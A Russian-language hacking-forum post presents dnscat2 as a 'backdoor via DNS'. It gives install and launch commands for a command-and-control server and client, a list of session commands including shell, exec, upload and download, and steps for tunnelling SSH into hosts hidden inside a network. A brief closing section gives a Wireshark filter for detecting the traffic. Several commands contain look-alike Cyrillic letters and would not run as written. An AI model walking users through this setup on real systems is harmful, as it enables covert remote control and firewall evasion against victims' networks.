The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project

DNSCAT - Backdoor через DNS

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
34
dnscat2 - программа для для создания C&C канала, используя DNS. Включает в себя серверную часть, которая написана на Ruby и клиент, написанный на С.

Command and Control сервер - компьютер, контролируемый атакующим, который отправляет команды на скомпрометированную машину.

В чем смысл маскировки трафика под DNS

Часто бывает, что проходу нормального трафика мешает firewall, а резолв имен почти всегда разрешен. Примерную схему можете видеть ниже:



Cкачивание и установкa:

Bash:

sudo apt-get updаte
sudo аpt-get -y instаll ruby-dev git mаke g++
sudo gem install bundler
git clone https://github.com/iagox86/dnscat2.git


либо

sudo аpt-get updаte && sudo аpt-get -y instаll ruby-dev git mаke g++ && sudo gem install bundler && git clone https://github.com/iagox86/dnscat2.git

Установка серверной части:

cd dnscat2/server
bundle instаll


Установка клиентской части:

cd dnscat2/client
make


Тут описаны некоторые ошибки. Если вашей ошибки нет, то пишите в этой теме или загуглите. iagox86/dnscat2

К делу

Запускаем:

Сервер: sudo ruby dnscat2.rb

Клиент: запускаете на удаленной машине.

Сервер

Код:

sudo ruby dnscat2.rb legitdnsserver.com

Клиент

Код:

./build legitdnsserver.com

dnscat2 номер сессии

Код:

sessions -i <номер сессии>

Код:

clear
delay
download
echo
exec
help
listen
ping
quit
set
shell
shutdown
suspend
tunnels
unset
upload
window
windows


Проброс туннеля

Если вам нужен удобный доступ к машинам в локальной сети по SSH, то это очень полезная вещь.

Выбираем сессию и вводим команду:

listen <port> <dest ip>:<ssh port>

Теперь вы можете спокойно подключиться к той машине, которую не видно из вне через ssh.

ssh -P <port> [email protected]

Кстати dnscat2 по умолчанию поддерживает шифрование. Автор говорит, что не гарантирует 100% криптографическую стойкость, но защита есть.

Как обнаружить dnscat2 на машине

Делаем дамп через wireshark и забиваем следующий фильтр:

dns.qry.name.len > 16 and !mdns


16 - просто длина имени DNS домена. Я подбирал вручную, у вас это число может отличаться. Чтобы его подобрать просто смотрите в результат фильтрации.

После этого фильтра могут остаться и нормальные DNS запросы, просто ищите dnscat.

И в информации о пакете ищем dnscat.

Полезные ссылки

https://github.com/iagox86/dnscat2 - Страница dnscat, с его документацией.

https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152 - Про обнаружение DNS туннелей.

P.S возможно в некоторых моментах вылез за рамки раздела "Софт", но это нужно было, чтобы показать функционал.

Всем спасибо за внимание.
 
Верх